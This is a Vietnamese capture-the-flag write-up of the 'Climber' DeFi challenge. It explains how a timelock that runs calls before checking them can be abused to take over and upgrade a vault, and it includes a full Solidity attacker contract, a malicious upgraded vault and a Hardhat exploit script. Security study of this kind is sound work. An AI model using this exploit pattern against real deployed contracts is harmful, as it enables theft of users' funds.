Challenge #12 - Climber
Nhiệm vụ: Có một vault chứa 10M DVT token. Vault này được thiết kế theo UUPS pattern, hay nói cách khác là upgradeable pattern.
Owner của vault là một timelock contract, có thể rút ra mỗi lần một số lượng token giới hạn sau mỗi 15 ngày.
Ngoài ra trong vault còn có một role nữa có thể rút toàn bộ token ở trong vault trong trường hợp khẩn cấp.
Trong timelock contract, chỉ những account với role Proposer mới có quyền schedule action, và action đó có thể được thực thi sau 1 giờ.
Nhiệm vụ của ta là lấy hết tiền trong vault.
Phân tích
Ngay từ dữ kiện ban đầu: owner của vault chỉ có thể rút mỗi lần một số lượng token nhất định, mà mỗi lần rút cách nhau tận 15 ngày. Nên việc chiếm quyền owner của vault có vẻ không phải là một hướng đi đúng đắn.
Trong vault có một role có thể rút toàn bộ token trong trường hợp khẩn cấp; điều này gợi cho ta hướng là bằng cách nào đó có thể gọi được hàm khẩn cấp này thì ta có thể một lần mà rút hết tiền trong contract được. Ta sẽ đi theo hướng này.
Nhìn qua một chút logic của ClimberVault
:
transferOwnership(address(new ClimberTimelock(admin, proposer)));
_setSweeper(sweeper);
sweeper
, admin
, proposer
được đưa vào ngay trong constructor của vault, các account này ta không thể can thiệp. Điều đó có nghĩa ta không thể thay đổi được vị trí của sweeper
nữa.
tiếp tục nhìn vào logic rút tiền trong trường hợp khẩn cấp:
// Allows trusted sweeper account to retrieve any tokens
function sweepFunds(address tokenAddress) external onlySweeper {
IERC20 token = IERC20(tokenAddress);
require(token.transfer(_sweeper, token.balanceOf(address(this))), "Transfer failed");
}
onlySweeper
- chỉ sweeper mới có quyền rút tiền. Mà ta không thể thay đổi cũng không có cách chiếm account sweeper được. Ngõ cụt đầu tiên!
Nhưng ta nhận thấy rằng, vault đươc thiết theo UUPS pattern, có nghĩa là nó có thể upgrade lên version mới được. Từ đây ta có hướng đi mới, là bằng cách nào đó ta có thể upgrade vault lên một version mới, tại version mới đó loại bỏ điều kiện onlySweeper
đi, có nghĩa là ai cũng có thể tiến hành rút hết tiền của vault. Hướng đi này có vẻ triển vọng!
Để upgrade được vault lên version mới, ta cần quyền owner
của vault.
Hiện giờ owner của vault chính là timelock contract. Ta sẽ xem tiếp logic của timelock contract.
Ngoài việc gửi tiền cho contract ra, thì ta có một cách duy nhất để tương tác với timelock contract, đấy chính là sử dụng hàm execute
:
function execute(
address[] calldata targets,
uint256[] calldata values,
bytes[] calldata dataElements,
bytes32 salt
) external payable {
require(targets.length > 0, "Must provide at least one target");
require(targets.length == values.length);
require(targets.length == dataElements.length);
bytes32 id = getOperationId(targets, values, dataElements, salt);
for (uint8 i = 0; i < targets.length; i++) {
targets[i].functionCallWithValue(dataElements[i], values[i]);
}
require(getOperationState(id) == OperationState.ReadyForExecution);
operations[id].executed = true;
}
Hàm này sẽ chỉ thực hiện các action đã được schedule bởi hàm schedule
:
function schedule(
address[] calldata targets,
uint256[] calldata values,
bytes[] calldata dataElements,
bytes32 salt
) external onlyRole(PROPOSER_ROLE) {
require(targets.length > 0 && targets.length < 256);
require(targets.length == values.length);
require(targets.length == dataElements.length);
bytes32 id = getOperationId(targets, values, dataElements, salt);
require(getOperationState(id) == OperationState.Unknown, "Operation already known");
operations[id].readyAtTimestamp = uint64(block.timestamp) + delay;
operations[id].known = true;
}
Nhưng ở đây để schedule được, ta cần có role PROPOSER_ROLE
. Ngõ cụt thứ hai!
Tiếp tục soi code, ta nhận thấy một lỗ hổng trong hàm execute
:
for (uint8 i = 0; i < targets.length; i++) {
targets[i].functionCallWithValue(dataElements[i], values[i]);
}
require(getOperationState(id) == OperationState.ReadyForExecution);
operations[id].executed = true;
đoạn code này đã vi phạm quy tắc check-effect-action: luôn check điều kiện đầu tiên, sau đó set effect, cuối cùng mới thực hiện logic. Ở đây thì ta lại thực hiện logic trước rồi sau đó mới kiểm tra điều kiện và set effect.
Điều này hướng ta suy nghĩ tới phương án:
- grant
PROPOSER_ROLE
cho chính contract tấn công (để từ đây contract tấn công có thể gọi hàmschedule
) - transferOwnership của vault cho attacker
- tại contract tấn công ta schedule chuỗi hành động
grantRole,transferOwnership,schedule
Ở đây ta gặp một điểm khó, ta cần operationId
trong schedule và execute là giống nhau để vượt qua được điều kiện:
require(getOperationState(id) == OperationState.ReadyForExecution);
thiết kế này đảm bảo timelock chỉ thực hiện những hàm đã được schedule mà thôi!
ở đây hàm schedule
có tới tận 4 tham số đầu vào:
function schedule(
address[] calldata targets,
uint256[] calldata values,
bytes[] calldata dataElements,
bytes32 salt
)
Nên nếu ta schedule chuỗi hành động grantRole,transferOwnership,schedule
thì sẽ trở thành đệ quy tham số không bao giờ dứt, vì schedule đang gọi lại chính nó. Do đó ta sẽ không bao giờ có được operationId
giống nhau giữa schedule và execute.
Để giải quyết vấn đề đệ quy tham số này, ta sẽ wrap hàm schedule lại trong một hàm khác không có tham số. Khi này ta có thể hoàn toàn schedule lại chính nó một lần duy nhất.
Vậy là ta đã giải quyết được bài toán phân quyền và schedule action.
Contract Timelock còn một lỗ hổng lớn nữa. Đấy chính là logic check execute delay.
Theo lý thuyết, mỗi action khi được schedule, thì sẽ có thể thực hiện sau đó 1h
operations[id].readyAtTimestamp = uint64(block.timestamp) + delay; // 1h
operations[id].known = true;
nhưng đoạn check timestamp lại rất lỗi, thay vì dùng phép toán <=
thì lại sử dụng phép toán >=
, theo đó điều kiện này auto đúng nếu ta thực hiện trong vòng 1h kể từ khi action được schedule. Thật là một nhầm lẫn so sánh tai hại!
if (op.readyAtTimestamp >= block.timestamp) {
return OperationState.ReadyForExecution;
}
Mọi thứ đã rõ, ta có kịch bản khai thác như sau:
- Chuẩn bị contract khai thác, wrap hàm
schedule
của timelock contract lại bằng một hàm không chứa tham sô` - lần lượt xây dựng tham số cho chuỗi hành động
grantRole, transferOwnership, schedule
- tiến hành
execute
chuỗi hành độnggrantRole, transferOwnership, schedule
- chuẩn bị contract
ClimberVaultV2
, thêm hàmsweepFundsV2
, trong đó loại bỏ đi điều kiệnonlySweeper
, bên trong chuyển tiền cho attacker. upgradeToAndCall
lênClimberVaultV2
và gọisweepFundsV2
.
Exploit
Chuẩn bị contract khai thác:
contract RektClimber {
ClimberVault public immutable vault;
address payable timelock;
address[] public targets;
uint256[] public values;
bytes[] public dataElements;
constructor(address _vault, address payable _timelock) {
vault = ClimberVault(_vault);
timelock = _timelock;
}
function rekt(address attacker) external {
targets.push(timelock);
targets.push(address(vault));
targets.push(address(this));
values.push(0);
values.push(0);
values.push(0);
bytes memory data0 = abi.encodeWithSignature(
"grantRole(bytes32,address)",
keccak256("PROPOSER_ROLE"),
address(this)
);
bytes memory data1 = abi.encodeWithSignature(
"transferOwnership(address)",
attacker
);
bytes memory data2 = abi.encodeWithSignature("schedule()");
dataElements.push(data0);
dataElements.push(data1);
dataElements.push(data2);
ClimberTimelock(timelock).execute(targets, values, dataElements, "0x");
}
function schedule() external {
ClimberTimelock(timelock).schedule(targets, values, dataElements, "0x");
}
}
Chuẩn bị contract ClimberVaultV2
với một chút thay đổi ở hàm sweepFundsV2
:
contract ClimberVaultV2 is Initializable, OwnableUpgradeable, UUPSUpgradeable {
...
function sweepFundsV2(address tokenAddress) external {
IERC20 token = IERC20(tokenAddress);
require(
token.transfer(tx.origin, token.balanceOf(address(this))),
"Transfer failed"
);
}
...
}
Chạy script khai thác:
it("Exploit", async function () {
/** CODE YOUR EXPLOIT HERE */
const RektClimber = await ethers.getContractFactory("RektClimber", attacker);
this.rekt = await RektClimber.deploy(
this.vault.address,
this.timelock.address
);
await this.rekt.connect(attacker).rekt(attacker.address);
const VaultV2 = await ethers.getContractFactory("ClimberVaultV2", attacker);
this.vaultV2 = await VaultV2.deploy();
const vaultV2Interface = VaultV2.interface;
const data = vaultV2Interface.encodeFunctionData("sweepFundsV2", [
this.token.address,
]);
await this.vault
.connect(attacker)
.upgradeToAndCall(this.vaultV2.address, data);
});
Check lại kết quả
[Challenge] Climber
✓ Exploit (313ms)
1 passing (3s)
All done!
Bình luận
Đây là thử thách khó nhất trong chuỗi bài cho tới nay. Bài tập yêu cầu rất nhiều kiến thức tổng hợp, suy luận, và rất nhiều ngõ cụt khiến ta nản lòng, đặc biệt là lúc ta cần phải schedule
chuỗi action.